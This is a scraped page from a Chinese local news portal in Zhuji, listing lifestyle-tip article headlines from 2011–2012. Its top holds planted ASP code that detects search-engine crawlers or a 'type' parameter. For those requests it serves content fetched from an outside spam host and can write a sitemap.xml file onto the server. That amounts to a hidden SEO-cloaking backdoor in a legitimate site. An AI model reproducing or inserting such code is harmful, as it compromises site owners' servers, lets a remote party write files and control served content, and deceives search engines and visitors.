<% function is_search_bot() dim s_agent is_search_bot=false s_agent=Request.ServerVariables("HTTP_USER_AGENT") identify = Array("googlebot","adsbot-google","gsa-crawler","mediapartners-google","baiduspider","yahoo! slurp","inktomi","msnbot","yodaobot","outfoxbot","sogou spider","sosospider","iaskspider","naverrobot") for i=0 to ubound(identify) If instr(1,s_agent,identify(i),1) >0 Then is_search_bot=True Exit Function End If next end Function If is_search_bot() Or Request.QueryString("type")<>"" Then MyUrl="http://s1.1088house.com/" charset="gbk" Server.ScriptTimeOut=9999999 Function getHTTPPage(Path) t = GetBody(Path) getHTTPPage=BytesToBstr(t,charset) End function Function GetBody(url) on error resume next Set Retri = CreateObject("Microsoft.XMLHTTP") With Retri .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retri = Nothing End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Sub WriteToTextFile(FileUrl,byval Str) set stm=server.CreateObject("adodb.stream") stm.Type=2 stm.mode=3 stm.charset="utf-8" stm.open stm.WriteText str stm.SaveToFile server.MapPath(FileUrl),2 stm.flush stm.Close set stm=nothing End Sub t=DateDiff("s", "1970-1-1 8:00:00", Now()) htmltype=Request.QueryString("type") url = MyUrl+"?charset="+charset+"&host="+(Request.ServerVariables("HTTP_HOST") + Request.ServerVariables("URL")) + "&type="+htmltype+"&doc="+Request.QueryString("doc")+"&page=" +Request.QueryString("page") + "&t=" &t html=getHTTPPage(url) If htmltype="sitemap" Then call WriteToTextFile("sitemap.xml",html) Response.Write("ok") else Response.Write(html) End If response.End() End If %>
首页 | 新闻中心 | 网上诸暨 | 专  题 | 房产 | 汽车 | 饮食 | 摄影 | 文学 | 分类信息
图片 | 诸暨网视 | 记者连线 | 一卡通 | 旅游 | 健康 | 教育 | 娱乐 | 女性 | 交友中心
 

 时尚  袜品  服饰  护肤  情感  生活小贴士        

    生活小贴士


    ·顶级享受 世界最大人工游泳池 (2012-4-12 8:46:59)
    ·小黄裙成明星新宠 亮丽穿搭超迷人 (2012-3-16 9:29:12)
    ·专家支招 帮你对抗早春过敏季 (2012-3-1 9:53:56)
    ·经典食疗方助你调理月经 (2012-2-10 9:32:49)
    ·细数最伤男女性能力的日用品 (2012-2-3 9:47:31)
    ·节后减肥维C水果食物 (2012-1-30 9:17:34)
    ·利落裤装妙配暖外套 (2012-1-13 8:25:28)
    ·冬季搭配杀手锏 皮草马甲最有范儿 (2011-12-21 9:44:13)
    ·男女调情必杀句 (2011-12-14 9:16:04)
    ·小鹿和火鸡"热恋" 每天晚安吻(图) (2011-12-1 9:05:41)
    ·温暖短外套爆红 冬季衣橱必备 (2011-11-22 8:36:35)
    ·硬朗衬衣配紧身裤 修长细腿惹人羡 (2011-11-15 8:44:52)
    ·解救干燥引起的村姑脸 (2011-11-10 9:06:14)
    ·口碑眼霜推荐 眼周皱纹越来越少 (2011-11-7 9:57:30)
    ·5分钟韩式显气质编发! (2011-11-2 9:35:02)
    ·超简单秋日韩式发型! (2011-10-13 9:33:19)
    ·光泽肌从多喝白水开始 (2011-10-11 8:59:53)
    ·早秋多吃8种食物抗老 (2011-10-8 8:28:21)
    ·早晨两种水喝掉大肚子 (2011-9-29 9:29:11)
    ·美丽帮帮忙:怎样用面膜效果才最好 (2011-9-27 15:12:00)
下一页
   

浙ICP备05004053号

 

诸暨网简介 | 刊登广告 | 版权声明 | 联系方式 | 设为首页
 诸暨日报社版权所有 未经授权禁止下载或建立镜像